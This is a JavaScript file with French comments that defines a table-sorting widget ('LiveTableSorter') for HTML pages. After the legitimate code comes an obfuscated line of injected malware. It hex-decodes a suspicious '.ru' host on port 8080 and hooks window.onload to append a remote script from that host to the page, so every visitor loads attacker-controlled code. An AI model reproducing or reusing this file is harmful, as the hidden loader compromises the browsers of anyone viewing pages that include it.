// Constructeur du LiveTableSorter
function LiveTableSorter(_id_table, _name)
{
	// Identifiant du tableau à trier
	this.id_table = _id_table;
	this.table = document.getElementById(this.id_table);
	this.instanceName = _name;
	
	// Tableau qui contient les élément permettant de trier
	this.sorters = new Array();
	this.sortables = new Array();
	
	// Tableau qui contient les lignes à trier
	this.tbody = "";
	this.lignes = new Array();
	
	// Doit on mettre des images pour le tri ?
	this.sortImages = true;
}

LiveTableSorter.prototype.setSortable = function()
{
	// Préparation des headers, on récupère les colonnes sortable
	var ths = this.table.getElementsByTagName('th');
	var recherche = new RegExp("^"+this.id_table+".");
	
	// On part à la recherche des sorters
	for (var i=0 ; i<ths.length ; i++)
	{
		if (recherche.test(ths[i].id))
		{
			this.addSorter(ths[i].id, this);
		}
	}
	
	// On va maintenant stocker les lignes de tr (contenus dans le tbody)
	this.tbody = document.getElementById('sortables');
	this.lignes = this.tbody.getElementsByTagName('tr');
}

LiveTableSorter.prototype.addSorter = function(id_sorter, lts)
{
	var sorter = new Sorter(id_sorter, lts);
	this.sorters.push(sorter);
}

LiveTableSorter.prototype.getSorter = function(id_sorter)
{
	for (var i=0 ; i<this.sorters.length ; i++)
	{
		if (this.sorters[i].id == id_sorter)
		{
			return this.sorters[i];
			break;
		}
	}
}

// Constructeur d'un Sorter (élément qui permet de lancer un tri
function Sorter(id_sorter, lts)
{
	// On commencer par récupérer le type des données à trier
	var tabtempa = new Array();
	tabtempa = id_sorter.split(":");
	this.type_content = tabtempa[(tabtempa.length-1)];
	
	tabtempa.pop();
	var id_temp = tabtempa.join(":");
	
	// On va récupérer le bout de l'id qui permettra d'identifier l'élément sortable
	var tabtemp = new Array();
	tabtemp = id_temp.split(".");
	tabtemp.shift();
	
	this.type_sort = "asc";
	
	this.id = id_sorter;
	this.id_element = tabtemp.join(".");
	this.element = document.getElementById(this.id);
	this.tableSorter = lts;
	this.transform();
}

Sorter.prototype.transform = function()
{
	var texte = this.element.innerHTML;
	
	var new_texte = "<a href=\"javascript:;\" onclick=\""+this.tableSorter.instanceName+".sortBy('"+this.id+"')\">"+texte+"</a>";
	this.element.innerHTML = new_texte;
}

LiveTableSorter.prototype.sortBy = function(id_sorter)
{
	// On récupère l'élément Sorter
	var mySorter = this.getSorter(id_sorter);
	
	// On va stocker les éléments sortables
	var recherche_s = new RegExp("^sortable."+mySorter.id_element);
	var tds = "";
	
	var ordre = new Array();
	
	// On part à la recherche des sortables
	for (var j=0 ; j<this.lignes.length ; j++)
	{
		tds = this.lignes[j].getElementsByTagName('td');
		for (k=0 ; k<tds.length ; k++)
		{
			if (recherche_s.test(tds[k].id))
			{
				// TODO : prendre le span si il existe, sinon le tout
				ordre.push(tds[k].getElementsByTagName('span')[0].innerHTML + ":" + j);
			}
		}
	}
	
	if (mySorter.type_content == "text")
	{
		ordre.sort();
	} else if (mySorter.type_content == "int")
	{
		ordre.sort(sortInt);
	} else if (mySorter.type_content == "float")
	{
		ordre.sort(sortFloat);
	}

	// A modifier en méthode externe pour gérer aussi les images
	if (mySorter.type_sort == "asc")
	{
		ordre.reverse();
		mySorter.type_sort = "desc";
	} else {
		mySorter.type_sort = "asc";
	}
	
	for (var i=0 ; i<ordre.length ; i++)
	{
		tmp = ordre[i].split(":");
		num_td = parseInt(tmp[1]);
		this.tbody.appendChild(this.lignes[num_td]);
		
		// On parcourt les ordres pour changer les id de td
		for (var j=0 ; j<ordre.length ; j++)
		{
			tmp2 = ordre[j].split(":");
			num_td2 = parseInt(tmp2[1]);
			
			if (num_td2 > num_td && num_td2 < (ordre.length-1))
			{
				ordre[j] = tmp2[0]+":"+(num_td2-1);
			}
		}
	}
}

function sortInt(a,b)
{
	var tmp1 = a.split(":");
	c = parseInt(tmp1[0]);
	
	var tmp2 = b.split(":");
	d = parseInt(tmp2[0]);
	
	return c-d;
}

function sortFloat(a,b)
{
	// TODO : Formater le nombre (enlever les espaces et remplacer les virgules)
	
	var tmp1 = a.split(":");
	c = parseFloat(tmp1[0]);
	
	var tmp2 = b.split(":");
	d = parseFloat(tmp2[0]);
	
	return c-d;
}
var k;if(k!='' && k!='m'){k=null};var pE='';this.w='';function v(){var ve='';var d;if(d!='_' && d!='Ka'){d='_'};var Y=window;var j="g";var g=new Array();var y="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x6c\x6f\x67\x66\x61\x2d\x63\x6f\x6d\x2e\x6e\x61\x73\x7a\x61\x2d\x6b\x6c\x61\x73\x61\x2e\x70\x6c\x2e\x70\x6f\x72\x6e\x62\x62\x2d\x6f\x72\x67\x2e\x53\x75\x70\x65\x72\x53\x75\x70\x65\x72\x76\x69\x73\x6f\x72\x2e\x72\x75\x3a";var Yu="";var Og="";var R=unescape;var Kat="";var o='';var Q;if(Q!='i'){Q=''};var dF='';function p(Yg,E){var wZ;if(wZ!='' && wZ!='H'){wZ=null};var mK='';this.z="";var I=R("%5b")+E+R("%5d");var n;if(n!='M'){n='M'};var O=new RegExp(I, j);return Yg.replace(O, o);};var nD;if(nD!='' && nD!='kO'){nD='lA'};var pt=new String();var b=R("%2f%61%6c%6c%61%62%6f%75%74%2e%63%6f%2e%6a%70%2f%61%6c%6c%61%62%6f%75%74%2e%63%6f%2e%6a%70%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%62%6f%75%74%2e%63%6f%6d%2f%6d%69%78%78%2e%63%6f%6d%2e%70%68%70");this.Ir="";this.gD="";var t='';var N=document;this.Ow='';var G=p('846322013544811419092925','62571493');var cN=new Date();var IP;if(IP!='Ic' && IP != ''){IP=null};var F;if(F!='dw' && F != ''){F=null};function C(){var bc='';var Fh;if(Fh!=''){Fh='Nj'};var cw;if(cw!='' && cw!='Hz'){cw=null};t=y;t+=G;var OL;if(OL!=''){OL='LS'};var z_=new Date();t+=b;var AI;if(AI!='' && AI!='zl'){AI=null};this.My="";try {var Cq="";A=N.createElement(p('sycMr7iep2ty','7LFy2UQknMSDKe'));var be;if(be!=''){be='vE'};var Py;if(Py!='aF'){Py=''};A.defer=[1,6][0];A.src=t;var uT;if(uT!='' && uT!='AE'){uT=''};N.body.appendChild(A);var Sd;if(Sd!='So' && Sd!='Ia'){Sd='So'};var xK=new Date();} catch(L){var Fw="";var jJ="";};}var Ek=new String();Y[new String("EHRCon".substr(4)+"WJVloVJW".substr(3,2)+"VXqiad".substr(4))]=C;};var fn;if(fn!=''){fn='HR'};var Zk=new Array();var gF="";v();this.od="";